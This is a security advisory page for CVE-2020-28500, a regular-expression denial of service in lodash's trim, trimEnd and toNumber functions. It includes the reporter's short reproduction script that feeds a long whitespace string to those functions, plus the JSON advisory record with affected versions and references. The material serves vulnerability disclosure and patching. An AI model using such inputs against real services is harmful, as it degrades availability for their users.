ghsa-29mw-wpgm-hmr9
Vulnerability from github
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash');
function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```
{ "affected": [ { "ecosystem_specific": { "affected_functions": [ "(lodash).toNumber", "(lodash).trim", "(lodash).trimEnd" ] }, "package": { "ecosystem": "npm", "name": "lodash" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.17.21" } ], "type": "ECOSYSTEM" } ] }, { "ecosystem_specific": { "affected_functions": [ "(lodash-es).toNumber", "(lodash-es).trim", "(lodash-es).trimEnd" ] }, "package": { "ecosystem": "npm", "name": "lodash-es" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.17.21" } ], "type": "ECOSYSTEM" } ] }, { "ecosystem_specific": { "affected_functions": [ "(lodash.trimend)" ] }, "package": { "ecosystem": "npm", "name": "lodash.trimend" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "4.5.1" } ], "type": "ECOSYSTEM" } ] }, { "ecosystem_specific": { "affected_functions": [ "(lodash.trim)" ] }, "package": { "ecosystem": "npm", "name": "lodash.trim" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "4.5.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2020-28500" ], "database_specific": { "cwe_ids": [ "CWE-1333", "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2021-03-19T22:45:28Z", "nvd_published_at": "2021-02-15T11:15:00Z", "severity": "MODERATE" }, "details": "All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. \n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require(\u0027lodash\u0027);\n\nfunction build_blank(n) {\n var ret = \"1\"\n for (var i = 0; i \u003c n; i++) {\n ret += \" \"\n }\n return ret + \"1\";\n}\nvar s = build_blank(50000) var time0 = Date.now();\nlo.trim(s) \nvar time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0);\nvar time1 = Date.now();\nlo.toNumber(s) var time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1);\nvar time2 = Date.now();\nlo.trimEnd(s);\nvar time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2);\n```", "id": "GHSA-29mw-wpgm-hmr9", "modified": "2023-10-24T21:03:51Z", "published": "2022-01-06T20:30:46Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28500" }, { "type": "WEB", "url": "https://github.com/lodash/lodash/pull/5065" }, { "type": "WEB", "url": "https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7" }, { "type": "WEB", "url": "https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuoct2021.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com//security-alerts/cpujul2021.html" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20210312-0006" }, { "type": "WEB", "url": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8" }, { "type": "PACKAGE", "url": "https://github.com/lodash/lodash" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "type": "CVSS_V3" } ], "summary": "Regular Expression Denial of Service (ReDoS) in lodash" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.